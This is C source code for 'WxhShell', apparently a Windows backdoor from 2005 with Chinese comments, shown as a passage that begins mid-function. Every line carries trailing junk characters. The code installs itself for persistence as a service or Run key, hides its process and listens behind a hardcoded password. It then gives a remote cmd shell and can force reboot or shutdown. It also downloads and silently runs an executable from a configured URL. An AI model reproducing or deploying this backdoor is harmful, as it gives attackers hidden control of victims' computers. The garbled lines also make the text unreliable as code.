  case 'd': { "AouiZkh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); psC7I E<v  
    if(Boot(SHUTDOWN)) OQ7c| O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' D&G~$  
    else { HzV+g/8>A  
    closesocket(wsh); M@g gLW  
    ExitThread(0); ~It+|X=Kx  
    } g&T Cff  
    break; C[nr>   
    } t4_K>Mj+d  
  // 获取shell z8|9WZ:  
  case 's': { f#kevf9zc  
    CmdShell(wsh); 23$hwr&G\  
    closesocket(wsh); %`QsX {?,  
    ExitThread(0); :EwA$`/  
    break; pMp9 O/u%  
  } 2U'JzE^Do  
  // 退出 j{R|]SjW2H  
  case 'x': { $pfe2(8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0Eu$-)  
    CloseIt(wsh); DD 5EHJR  
    break; ev%t5NZ  
    } b*F~%K^i$  
  // 离开 sLa)~To  
  case 'q': { }r~l7 2 `  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;9p5YxD  
    closesocket(wsh); qj"syO  
    WSACleanup(); Zmbz-##HQ  
    exit(1); (vsk^3R[6  
    break; jjwMvf.R  
        } 11<@++,i  
  } _K}_h\e.  
  } OO\biYh o  
|vDoqlW  
  // 提示信息 FR,#s^kF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <<On*#80w  
} |z|)r"*\4  
  } QGv:h[b_  
@~#79B"9&  
  return; Ky9No"o  
} 0SCW2/o8  
zHoO?tGf  
// shell模块句柄 }Q r0T  
int CmdShell(SOCKET sock) }:9|*m<$t  
{ tct 5*.|  
STARTUPINFO si; fFZ` rPb  
ZeroMemory(&si,sizeof(si)); h/0-Mrk;e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &>zy_)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $:u7Dv}\  
PROCESS_INFORMATION ProcessInfo; {`Fx~w;i  
char cmdline[]="cmd"; gc2|V6(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^,Y~M_=  
  return 0; r6`^>c  
} ??zABV  
AY/-j$5+?  
// 自身启动模式 MY?O/,6  
int StartFromService(void) X\p`pw$  
{ !: EW21m  
typedef struct z@%/r~?|  
{ i^sDh>$J  
  DWORD ExitStatus; $E`i qRB  
  DWORD PebBaseAddress; ^E<~zO=Z  
  DWORD AffinityMask; {b-0_  
  DWORD BasePriority; :L [YmZ  
  ULONG UniqueProcessId; SD|4ybK>d  
  ULONG InheritedFromUniqueProcessId; }W@#S_-e8  
}   PROCESS_BASIC_INFORMATION; N}}PlGp$  
>Oi2gPA  
PROCNTQSIP NtQueryInformationProcess; W p7@  
}/7.+yD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MgH1d&R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TRySl5jx@  
*fQ ?A|l!x  
  HANDLE             hProcess; vh. Wm?qQ  
  PROCESS_BASIC_INFORMATION pbi; J/]o WC`u  
oieQ2>lYh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _Qm7x>NT4  
  if(NULL == hInst ) return 0; x  tYV"  
I!F}`d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e}](6"t`5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x^M5D+o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EU^}NZW&v:  
je- , S>U  
  if (!NtQueryInformationProcess) return 0; =qV4Sje|q  
+K$5tT6b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <4l.s  
  if(!hProcess) return 0; &AQg'|  
?dJ/)3I%F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ( E"&UC[  
$tDCS  
  CloseHandle(hProcess); S{^6iR  
Xb(CH#*{z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PmPyb>HK=P  
if(hProcess==NULL) return 0; *2qh3  
Tsm)&$JI8  
HMODULE hMod; ^MWEfPt  
char procName[255]; GZ/pz+)i&  
unsigned long cbNeeded; *} *!+C3  
cS"f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ot|N;=ZKo  
TRs[~K)n  
  CloseHandle(hProcess); ]+}ZfHp  
L\/u}]dPQ  
if(strstr(procName,"services")) return 1; // 以服务启动 A0cM(w{7_  
6)=](VmNL`  
  return 0; // 注册表启动 hw&ke$Fg#  
} itqQ)\W  
88Fb1!a5Z  
// 主模块 ,~?A,9?%:  
int StartWxhshell(LPSTR lpCmdLine) n~1tm  
{ 4o1Q7  
  SOCKET wsl; \]Y\P~n  
BOOL val=TRUE; /#-,R,Q  
  int port=0; );Tx5Z}  
  struct sockaddr_in door; |Hx%f  
qiG]nCq  
  if(wscfg.ws_autoins) Install(); r+imn&FK8  
~mN g[]  
port=atoi(lpCmdLine); ^-gfib|VGe  
@IEI%vH  
if(port<=0) port=wscfg.ws_port; C/mg46 v2W  
Nc G,0K  
  WSADATA data; D3<IuWeM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7[ZkM+z!  
sx-EA&5-9k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [:AB$l*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kR<xtHW  
  door.sin_family = AF_INET; ;):8yBMk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  5Waw?1GL  
  door.sin_port = htons(port); JaH* rDs-  
U8 Z~Y}29  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { whV&qe;sw  
closesocket(wsl); C}n'>],p  
return 1; J9g|#1G  
} 9uuta4&uI  
77+| #< J  
  if(listen(wsl,2) == INVALID_SOCKET) { fp9rO}##  
closesocket(wsl); 7sj<|g<h(_  
return 1; X7e>Z)l  
} S$S_nNq  
  Wxhshell(wsl);  pgC d  
  WSACleanup(); [_j6cj]  
_GE=kw;:  
return 0; uZ@-e|qto  
V@B7 P{gH  
} Xwn3+tSIa  
ZH\0=l)  
// 以NT服务方式启动 qpoquWZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E^7C _JP  
{ DYc.to-  
DWORD   status = 0; iwvt%7  
  DWORD   specificError = 0xfffffff; _~juv&  
JRD8Lz]Q3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iOl%-Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D)y{{g*Lnm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +eU`H[iu  
  serviceStatus.dwWin32ExitCode     = 0; 3 sl=>;-  
  serviceStatus.dwServiceSpecificExitCode = 0; n;%y  
  serviceStatus.dwCheckPoint       = 0; :=y0'f V(@  
  serviceStatus.dwWaitHint       = 0; Ah*wQow  
w %;hl#s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yDzdE;  
  if (hServiceStatusHandle==0) return; IeZ&7u  
UIQQ \,3  
status = GetLastError(); ~ W@X-  
  if (status!=NO_ERROR) :]yg  
{ `Uv)Sf{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DTPay1]6  
    serviceStatus.dwCheckPoint       = 0; A1Ka(3"  
    serviceStatus.dwWaitHint       = 0; y">fN0{<  
    serviceStatus.dwWin32ExitCode     = status; n|6?J_{<b>  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'm[6v}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f?Z|>3.2  
    return; `N$!s7M  
  } XjxPIdX_H  
uWh|C9Y!A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ) 9MrdVNv  
  serviceStatus.dwCheckPoint       = 0; F%Kp9I*  
  serviceStatus.dwWaitHint       = 0; u %'y_C3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  QGXQ{  
} B "*`R!y  
`v~!H\q  
// 处理NT服务事件,比如:启动、停止 $Y6 3!*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V`by*s  
{ #XcU{5Qm5  
switch(fdwControl) -/zp&*0gcx  
{ <>]1Y$^Y  
case SERVICE_CONTROL_STOP: 3B;}j/h2  
  serviceStatus.dwWin32ExitCode = 0; 3I]Fdp)'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '[Xl>Z[  
  serviceStatus.dwCheckPoint   = 0; xHHV=M2l(s  
  serviceStatus.dwWaitHint     = 0; &-=K:;x  
  { "NKf0F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U~wjR"='  
  } JIMWMk;ot  
  return; o*-9J2V=J  
case SERVICE_CONTROL_PAUSE: -3` "E%9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N};t<Xev  
  break; vnTq6:f#M  
case SERVICE_CONTROL_CONTINUE: kQIfYtT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q70bEHLA  
  break; .9OFryo  
case SERVICE_CONTROL_INTERROGATE: IfMpY;ow=  
  break; 9qr UM`z$g  
}; IO"hF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gJh}CrU-  
} 2 Kl a8  
Ssf+b!e]  
// 标准应用程序主函数 MQJ%He"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3"Yif  
{ v77fQ0w3  
ZjS(ad*.2  
// 获取操作系统版本 /=T H08  
OsIsNt=GetOsVer(); XMw.wQ '?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ny^'IUu  
~r&D6Y  
  // 从命令行安装 TY~Vi OC  
  if(strpbrk(lpCmdLine,"iI")) Install(); +;dXDZ2  
q? 9GrwL8F  
  // 下载执行文件 ] IS;\~  
if(wscfg.ws_downexe) { 3{e'YD~hP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g8l5.Mpx  
  WinExec(wscfg.ws_filenam,SW_HIDE); @o&Ytd;i  
} ?Wa<AFXQ  
[Tp%"f1  
if(!OsIsNt) { e #M iaX  
// 如果时win9x,隐藏进程并且设置为注册表启动 +I@cO&CY|  
HideProc(); {p]=++  
StartWxhshell(lpCmdLine); Gm A!Mo  
} i4<BDX5  
else *T1~)z}j<  
  if(StartFromService()) y(}Eko4u5  
  // 以服务方式启动 \2 >?6zs  
  StartServiceCtrlDispatcher(DispatchTable); nvt$F%+  
else k;Hnu  
  // 普通方式启动 4H-j .|e  
  StartWxhshell(lpCmdLine); kYlg4 .~M  
_B[WY  
return 0; :6D0j  
} !y. $J<  
\ I:.<2i  
aMJ;bQD  
W#{la`#Bu  
=========================================== h/K@IA d  
.$0Pr%0pWI  
EnJ!mr  
mxp Y&Y  
0hwj\{"  
PS@*qTin  
" Ri @`a  
J633uH}}  
#include <stdio.h> 7W|Zq6p i  
#include <string.h> :gf;}  
#include <windows.h> k.GA8=]>  
#include <winsock2.h> !Lkm? (_  
#include <winsvc.h>  %w5[*V  
#include <urlmon.h> J +q|$K6  
YeyGN  
#pragma comment (lib, "Ws2_32.lib") mmP U  
#pragma comment (lib, "urlmon.lib") L/i(KF{  
ARWZ; GX  
#define MAX_USER   100 // 最大客户端连接数 * t!r@k  
#define BUF_SOCK   200 // sock buffer vv+J0f^  
#define KEY_BUFF   255 // 输入 buffer e_rzA  
Q7GY3X*kA  
#define REBOOT     0   // 重启 N4wA#\-  
#define SHUTDOWN   1   // 关机 =~jA oOC@  
<2<87PU  
#define DEF_PORT   5000 // 监听端口 mCdgKr|n  
e&1 \'Zq?>  
#define REG_LEN     16   // 注册表键长度 Mu2`ODe]  
#define SVC_LEN     80   // NT服务名长度 1'O0`Me>#  
Im)EDTm$  
// 从dll定义API Uc&iZFid2K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C-w5KW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mQr0sI,o]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f Iy]/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >emcJVYV`[  
*||d\peQ  
// wxhshell配置信息 g_z/{1$  
struct WSCFG { t&}6;z 3  
  int ws_port;         // 监听端口 y LM"+.?pL  
  char ws_passstr[REG_LEN]; // 口令 rMp9jG@3   
  int ws_autoins;       // 安装标记, 1=yes 0=no /;oqf4MF  
  char ws_regname[REG_LEN]; // 注册表键名 u #~ ;&D*q  
  char ws_svcname[REG_LEN]; // 服务名 5<+KR.W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o@k84+tn(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A 5nO=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 wa:0X)KC?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nfn(Xn*J-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c\.P/~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,.v7FM^gO  
7bF*AYM  
}; Y7SacRO  
 CdZ BG  
// default Wxhshell configuration v\%G|8+]  
struct WSCFG wscfg={DEF_PORT, RiR:69xwR*  
    "xuhuanlingzhe", e;ty!)]  
    1, >EP(~G3u  
    "Wxhshell", 4["&O=:d  
    "Wxhshell", -JV~[-,  
            "WxhShell Service", p]ivf  
    "Wrsky Windows CmdShell Service", ]'h; {;ug  
    "Please Input Your Password: ", XG 0v  
  1, VQxpN 1  
  "http://www.wrsky.com/wxhshell.exe", vAi$ [p*im  
  "Wxhshell.exe" *>."V5{;S  
    }; ax|1b`XUr"  
k;Fh4Hv  
// 消息定义模块 \40 YGFO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *#&*`iJ(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YZE.@Rz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~?U*6P)o  
char *msg_ws_ext="\n\rExit."; 0X9Y~TM%  
char *msg_ws_end="\n\rQuit."; SEd5)0X^  
char *msg_ws_boot="\n\rReboot..."; J|~26lG  
char *msg_ws_poff="\n\rShutdown..."; L*JPe"N -e  
char *msg_ws_down="\n\rSave to "; ;>"nn VW  
@i%YNI5*  
char *msg_ws_err="\n\rErr!"; $nPAm6mH  
char *msg_ws_ok="\n\rOK!"; .p&Yr%~  
z" QJhCh7  
char ExeFile[MAX_PATH]; thW<   
int nUser = 0; uk7'K 0j  
HANDLE handles[MAX_USER]; m*e YC  
int OsIsNt; ^^Jnv{)  
EKZVF`L  
SERVICE_STATUS       serviceStatus; A6"Hk0Hf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }Je>;{&%  
;*cLG#&'M  
// 函数声明 {9 PR()_  
int Install(void); !; v~^#M]~  
int Uninstall(void); )^O-X.1  
int DownloadFile(char *sURL, SOCKET wsh); z@VP:au  
int Boot(int flag); <{J5W6  
void HideProc(void); 5#2 F1NX  
int GetOsVer(void); {nMAm/kyj  
int Wxhshell(SOCKET wsl); P?ep]  
void TalkWithClient(void *cs); Qt+:4{He  
int CmdShell(SOCKET sock); e@]Wh)  
int StartFromService(void); pa<qZZ  
int StartWxhshell(LPSTR lpCmdLine); #kmh:P  
_GoVx=t   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KL?)akk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H+C6[W=  
L;6.r3bL  
// 数据结构和表定义 #AViM_u  
SERVICE_TABLE_ENTRY DispatchTable[] = olYsT**'  
{ @aG&n(.!u*  
{wscfg.ws_svcname, NTServiceMain}, A( d5G^  
{NULL, NULL} ktH8as^54!  
}; g:#d l\k  
!<\Br  
// 自我安装 my.`k'  
int Install(void) W WG /k17  
{ pW?& J>\6  
  char svExeFile[MAX_PATH]; .[s2zI  
  HKEY key; qE7R4>5xjO  
  strcpy(svExeFile,ExeFile); u{f* M,k  
^U  q  
// 如果是win9x系统,修改注册表设为自启动 \5><3*\  
if(!OsIsNt) { 8v92N g7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &tI#T)SSs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,?-\ x6  
  RegCloseKey(key); &#m"/g7w4N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V5rp.~   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PX,rWkOce  
  RegCloseKey(key); v."Dnl  
  return 0; 4? (W%?  
    } 8;\sU?  
  } 2WBq  
} H7g< p"  
else { I!: z,t<  
i+vsp@d  
// 如果是NT以上系统,安装为系统服务 )j&"%[2F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F # YPOH  
if (schSCManager!=0) +: Ge_-  
{ lE#m]D  
  SC_HANDLE schService = CreateService T1Ta?b  
  ( *~VxC{  
  schSCManager, j|(Z#3J  
  wscfg.ws_svcname, c6AWn>H  
  wscfg.ws_svcdisp, ]$iN#d|ZU  
  SERVICE_ALL_ACCESS, d^D i*&X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (Xx n\*S  
  SERVICE_AUTO_START, n&XGBwgW  
  SERVICE_ERROR_NORMAL, Qvoqx>2p5  
  svExeFile, g"8 .}1)~r  
  NULL, 0~gO'*2P  
  NULL, oduDA:  
  NULL, +|RB0}hFS-  
  NULL, 3{Q,h pZN  
  NULL \NL+}cL/  
  ); b=PVIZ  
  if (schService!=0) 3sm M,fi  
  { ": ;@Hnb/  
  CloseServiceHandle(schService); "4xfrlOc  
  CloseServiceHandle(schSCManager); P9Q2gVGAO{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6LUC!Sh  
  strcat(svExeFile,wscfg.ws_svcname); DPHQ,dkp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^>$P)=O:v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]F*3"y?)2  
  RegCloseKey(key); ^HA %q8| n  
  return 0; X]*QUV]i  
    } VM=+afY5M  
  } oR#:Nt X@  
  CloseServiceHandle(schSCManager); '\DSTr:N  
} HeN~c<NuB  
} x^=M6;:  
&<x@1,  
return 1; Ukphd$3J=  
} qN| fEO>  
VHUW]8We  
// 自我卸载 Z@rN_WXx  
int Uninstall(void) 9uB(Mx(-:`  
{ omX?Bl  
  HKEY key; ra7uU*  
qv{o |g QB  
if(!OsIsNt) { zsl,,gk9Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aw $L$7b}  
  RegDeleteValue(key,wscfg.ws_regname); =!MY4&YX  
  RegCloseKey(key); P>Qpv Sd_#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %"$@%"8;3  
  RegDeleteValue(key,wscfg.ws_regname); WOytxE  
  RegCloseKey(key); O9h+Q\0\W  
  return 0; gPC@Yy  
  } W0`Gc {  
} u' Qd,  
} U yqXMbw@  
else { B5am1y{P#  
.V'V:;BE%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A7XnHPIw  
if (schSCManager!=0) QDmYSY$  
{ #=e;?w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JqUADm  
  if (schService!=0) &Vk; VM`5  
  { !^fa.I'mM  
  if(DeleteService(schService)!=0) { ^s/  
  CloseServiceHandle(schService); |Rzy8j*  
  CloseServiceHandle(schSCManager); vP-M,4c  
  return 0; 2(YPz|~W  
  } rw%l*xgX  
  CloseServiceHandle(schService); !$qKb_#nC  
  } |FR3w0o  
  CloseServiceHandle(schSCManager); Ju` [m  
} kAzd8nJ'  
} T)CzK<LbR  
y6HuN  
return 1; Bstk{&ew  
} $So%d9k  
+{`yeZ9S  
// 从指定url下载文件 w=b(X q+:  
int DownloadFile(char *sURL, SOCKET wsh) XAOak$(j  
{ @Cq? :o<  
  HRESULT hr; L):U"M>]=  
char seps[]= "/"; =v6*|  
char *token; 5"Kx9n|  
char *file; ;DRTQn`m  
char myURL[MAX_PATH]; (X[2TT3j!  
char myFILE[MAX_PATH]; [\ )Ge  
ffDc 6*.Q  
strcpy(myURL,sURL); mXWTm%'[  
  token=strtok(myURL,seps); I=DLPgzO9  
  while(token!=NULL) |PVt}*0"  
  { M@UVpQwgv  
    file=token; l0]d  
  token=strtok(NULL,seps); ;."<m   
  } f>Td)s1 M  
uYO|5a<f~  
GetCurrentDirectory(MAX_PATH,myFILE); rjA@U<o  
strcat(myFILE, "\\"); e,1u  
strcat(myFILE, file); @)YY\l#  
  send(wsh,myFILE,strlen(myFILE),0); &R-H"kK?  
send(wsh,"...",3,0); rx ~[Zs+*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5t:8.%<UK  
  if(hr==S_OK) 0au)g!ti  
return 0; '{?C{MK3Q  
else YhKZ|@  
return 1;  NY  
FpV`#6i7  
} eH>#6R1-  
"AueLl)  
// 系统电源模块 c$E)P$<j  
int Boot(int flag) `i!wq&1g7  
{ > dZ3+f  
  HANDLE hToken; !4#"!Md4o  
  TOKEN_PRIVILEGES tkp; DtCEm(b0  
8pZ< 9t'  
  if(OsIsNt) { t@zdm y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~fN%WZ;_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UV7%4xM5v  
    tkp.PrivilegeCount = 1; "u^EleE!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m$Y :0_^-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $+= <(*  
if(flag==REBOOT) { T8J4C=?/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) haSM=;uPM  
  return 0; Z)< wv&K  
} Q%ad q-B  
else { 5OLQw(E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ReB7vpd  
  return 0; F}?<v8#z0  
} x4?10f(9=  
  } o3Ot.9L  
  else { }U 5Y=RYo  
if(flag==REBOOT) { pgc3jP!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &K%aw  
  return 0; %n?vJ#aX%  
} [uuj?Rbd  
else { s'I)A^i+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V-W'RunnW  
  return 0; L^Wz vv]  
} &V=7D#L  
} 6 DF  
Rs;15@t@  
return 1; -e-e9uP  
} W.}].7}h  
9 t:]  
// win9x进程隐藏模块 BR_TykP  
void HideProc(void) D#rrW?-z  
{ C*~aSl7  
HD`>-E#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eQN.sl5  
  if ( hKernel != NULL ) JNU/`JN9f  
  { I2Ev~!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TRvZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cgZaPw2 bw  
    FreeLibrary(hKernel);  !rL<5L  
  } kEN#u  
%CH6lY=lI  
return; ]?l{j  
} O12Q8Oj!0  
@"87F{!  
// 获取操作系统版本 *YV S|6bs  
int GetOsVer(void) fv'4f$U  
{ 85Y|CN] vQ  
  OSVERSIONINFO winfo; X)Gp7k1w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ww9;UP'G  
  GetVersionEx(&winfo); j BS4vvX?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .(Y6$[#@  
  return 1; XX;6 P  
  else Pe^ !$  
  return 0; mf$j03tu  
} YcM;S  
+&v\ /  
// 客户端句柄模块 0{rx.C7|  
int Wxhshell(SOCKET wsl) hSV@TL  
{ W Ox_y,  
  SOCKET wsh;  @|A|  
  struct sockaddr_in client; khX|" d360  
  DWORD myID; #a~"K|' G  
HCnf2td  
  while(nUser<MAX_USER) F9o6V|v  
{ |m>}%{  
  int nSize=sizeof(client); d,#.E@Po  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GrI&?=S^  
  if(wsh==INVALID_SOCKET) return 1; ocA]M=3~k  
wT_^'i*@I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o#hI5  
if(handles[nUser]==0) KX+ey8@[  
  closesocket(wsh); hl/itSl$  
else a|qsQ'1,;  
  nUser++; K b(9)Re  
  } ';YgG<u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6].:.b\qQc  
XAic9SNu;  
  return 0; R{}qK r  
} :=.*I  
!k&)EWP?  
// 关闭 socket ~l4f{uOD>]  
void CloseIt(SOCKET wsh) F8mC?fbK9  
{ mUXk9X%n  
closesocket(wsh); sg?@qc=g  
nUser--; ZXXiL#^  
ExitThread(0); #uvJH8)D  
} "dCzWFet  
L]bVN)JU  
// 客户端请求句柄 <0j{ $.  
void TalkWithClient(void *cs) i57( $1.  
{ 3:`XG2'  
*8A6Q9YT  
  SOCKET wsh=(SOCKET)cs; /^<en(0=P  
  char pwd[SVC_LEN]; !D:k!  
  char cmd[KEY_BUFF]; F @SG((`  
char chr[1]; *@M3p}',M  
int i,j; kK[duW =6  
S!dHNA:iU  
  while (nUser < MAX_USER) { c~Kc7}I  
\Ow,CUd  
if(wscfg.ws_passstr) { ~<O,Vs_C/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0D3OE.$0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tbur$ 00  
  //ZeroMemory(pwd,KEY_BUFF); {*xBm#  
      i=0; P[i\e7mR  
  while(i<SVC_LEN) { $$gtZ{ukQ  
PZOORjF8A  
  // 设置超时 ~"7J}[i 5  
  fd_set FdRead; fPQ|e"?  
  struct timeval TimeOut; F=Y S^  
  FD_ZERO(&FdRead); )/Y~6A9>  
  FD_SET(wsh,&FdRead); dr]&kqm  
  TimeOut.tv_sec=8; &HF]\`RNr  
  TimeOut.tv_usec=0; _}=E^/;(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i^g~~h F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zO.6WJ  
Rc9<^g`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Slx2z%'>  
  pwd=chr[0]; r*d Q5 _  
  if(chr[0]==0xd || chr[0]==0xa) { ,U=E[X=H  
  pwd=0; *x,HnHT  
  break; > V%Q O>C  
  } K` (#K#n  
  i++; \y~)jq:d"  
    } 'p)QyL`d  
{nRUH*(d9  
  // 如果是非法用户,关闭 socket I'A:J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $c =&0yt5  
} oyvtZ/@  
mxL;;-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TzF0/T!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *.8:'F  
*8-p7,D  
while(1) { 9ECS,r*B  
jsm0kz  
  ZeroMemory(cmd,KEY_BUFF); P9yw&A  
#s^s_8#&e  
      // 自动支持客户端 telnet标准   mQ,{=C=D  
  j=0; Xp^$ E6YFy  
  while(j<KEY_BUFF) { ptR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2PBepgQyPU  
  cmd[j]=chr[0]; !%62Phai  
  if(chr[0]==0xa || chr[0]==0xd) { ;1E_o  
  cmd[j]=0; 9[{sEg=C$e  
  break; 3^~Zj95M  
  } Czh8zB+r  
  j++; Mjw[:70  
    } fI}c 71b`  
%!wq:~B1  
  // 下载文件 &;U|7l~vl  
  if(strstr(cmd,"http://")) { gz\j('~-D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8p,>y(o  
  if(DownloadFile(cmd,wsh)) XGk}e4;_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fwv\pJ}$  
  else y:9?P~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vU 9ek:.l  
  } bL MkPty  
